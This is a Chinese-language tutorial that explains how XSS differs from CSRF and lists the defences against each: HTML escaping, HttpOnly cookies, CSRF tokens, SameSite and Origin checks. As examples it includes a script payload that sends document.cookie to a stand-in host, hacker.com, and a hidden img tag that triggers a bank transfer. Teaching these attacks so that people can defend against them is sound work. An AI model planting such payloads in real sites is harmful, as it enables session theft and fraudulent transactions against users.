一、先看看核心区别
- XSS：偷你的身份-》在你的浏览器里面跑恶意JS ，主动拿你的Cookie，冒充你。
- CSRF：借你的身份-》不偷你的Cookie，而是利用浏览器自带Cookie 的属性，骗网站替你做事。
二、XSS 讲解
1、核心本质
网站没有过滤用户输入，让黑客往页面植入了恶意JS。只要别人打开这个页面，恶意代码就在用户的浏览器本地执行。
2、简单例子帮你理解
比如说一个网页的评论区，黑客在评论区发了一段偷Cookie 的JS。
- 你登陆了网页，浏览器存了你的登录Cookie；
- 你点开了这条评论；
- 网站直接把黑客写的script原样渲染到页面上；
- 浏览器一看有script ，直接在你电脑上运行；
- 代码读取document.cookie ，就把你的登陆凭证发给黑客；
- 黑客拿着你的Cookie ，就能登录你的账号。
比如黑客在评论区发了：
<script>
// 偷你的 cookie 发给黑客服务器
fetch('http://hacker.com/steal?c='+document.cookie)
</script>3、XSS 两大防御
- HTML 转义把
< > & " '转义成普通字符，让
核心：不让恶意代码变成可执行脚本
- Cookie 设 HttpOnly禁止 JS 读取
document.cookie。
注意：只能防偷 Cookie，防不了 XSS 代码执行（还是能弹弹窗、篡改页面，所以说还是不安全，这里推荐使用HTML 转义）。
三、CSRF 讲解
1、核心本质
- 你登陆了A 网站没有退出，然后你又点开恶意网站B。
- B 网站偷偷发一个请求到A 网站，浏览器自动带上A 网站的Cookie。
- A 网站分不清是你手动操作还是恶意网站代发，直接就执行了操作。
2、简单例子帮你理解
- 你登录了网银，浏览器存了网银 Cookie；
- 你乱点链接进了一个垃圾网页；
- 垃圾网页藏了个隐藏图片 / 接口请求：直接请求银行转账接口；
- 浏览器发请求时自动带上你的网银Cookie；
- 银行服务器看到 Cookie 是合法的，直接转账成功。
比如用户已登录银行网站，此时访问了一个恶意页面，页面中隐藏了一段代码：
<img src="https://bank.com/transfer?toAccount=攻击者卡号&money=10000" style="display:none;">为什么CSRF 不用偷Cookie ？
浏览器有个机制：访问某域名时，自动带上该域名下所有 Cookie，不用黑客手动拿。
3、CSRF 防御机制
第一种：CSRF Token（最常用）
流程：
- 后端给每个用户生成唯一随机 Token，藏在页面 meta / 隐藏表单里；
- 正常用户发请求必须带上这个 Token；
- 后端校验 Token 对不对，不对直接拒绝。
为什么防得住？同源策略：恶意网站读不到你银行页面的内容，拿不到 Token；没有 Token，伪造请求直接作废。
第二种：Cookie SameSite 属性
-
SameSite=Strict：彻底禁止跨站请求带 Cookie； -
SameSite=Lax：宽松模式，普通链接允许，表单 / 接口跨站不带 Cookie（现代默认）。
直接从浏览器层面堵死「跨站自动带 Cookie」。
第三种：校验 Referer / Origin
看请求是从哪个域名发过来的，只允许自己官网域名的请求，陌生来源直接拦截。
四、小结
XSS是往网站注入恶意JS，偷你Cookie 冒充你；靠输入转义+Cookie设HttpOnly防护。
CSRF是利用浏览器自动带Cookie 的特性，恶意网站偷偷冒用你的身份发请求；靠CSRF令牌、SameSite、校验请求来源防护。